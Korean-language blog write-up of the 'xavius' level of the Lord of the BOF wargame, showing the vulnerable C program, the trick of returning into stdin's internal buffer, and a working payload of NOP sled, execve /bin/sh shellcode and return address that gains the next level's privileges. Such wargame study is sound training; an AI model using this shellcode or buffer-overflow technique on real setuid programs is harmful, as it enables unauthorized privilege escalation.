[lob] nightmare -> xavius

[nightmare@localhost nightmare]$ cat xavius.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - xavius
        - arg
*/

#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>

main()
{
        char buffer[40];
        char *ret_addr;

        // overflow!
        fgets(buffer, 256, stdin);
        printf("%s\n", buffer);

        if(*(buffer+47) == '\xbf')
        {
                printf("stack retbayed you!\n");
                exit(0);
        }

        if(*(buffer+47) == '\x08')
        {
                printf("binary image retbayed you, too!!\n");
                exit(0);
        }

        // check if the ret_addr is library function or not
        memcpy(&ret_addr, buffer+44, 4);
        while(memcmp(ret_addr, "\x90\x90", 2) != 0)     // end point of function
        {
                if(*ret_addr == '\xc9'){                // leave
                        if(*(ret_addr+1) == '\xc3'){    // ret
                                printf("You cannot use library function!\n");
                                exit(0);
                        }
                }
                ret_addr++;
        }

        // stack destroyer
        memset(buffer, 0, 44);
        memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));

        // LD_* eraser
        // 40 : extra space for memset function
        memset(buffer-3000, 0, 3000-40);
}

와... 이거 옛날에 못풀었다 다시봐도 못풀겠어서 결국 다른블로그 보고 풀음

STDIN자체에 저장하는 버퍼가 있음 0X4005000이였나 암튼 이런 주소 인데 여기 map으로 보면 실행권한이 없지만

실제로는 있음;;;

그럼 그냥 쉘코드 넣고 주소 넣어주면됨

payload = nop * 19 + shellcode(25byte) + stdin내부 버퍼 주소

[nightmare@localhost nightmare]$ (python -c'print "\x90"*19 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x13\x50\x01\x40" ';cat)| ./xavius
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
                                       ̀P@
my-pass
euid = 519
throw me away
id
uid=518(nightmare) gid=518(nightmare) euid=519(xavius) egid=519(xavius) groups=518(nightmare)

저작자표시비영리변경금지

'공부 > LOB' 카테고리의 다른 글

[lob] nightmare -> xavius  (0)	2015.08.21
[lob] succubus -> nightmare  (0)	2015.02.19
[lob] zombie_assassin -> succubus  (0)	2015.02.17
[lob] assassin -> zombie_assassin  (0)	2014.07.30
[lob] giant -> assassin  (0)	2014.07.30
[lob] bugbear -> giant  (0)	2014.07.30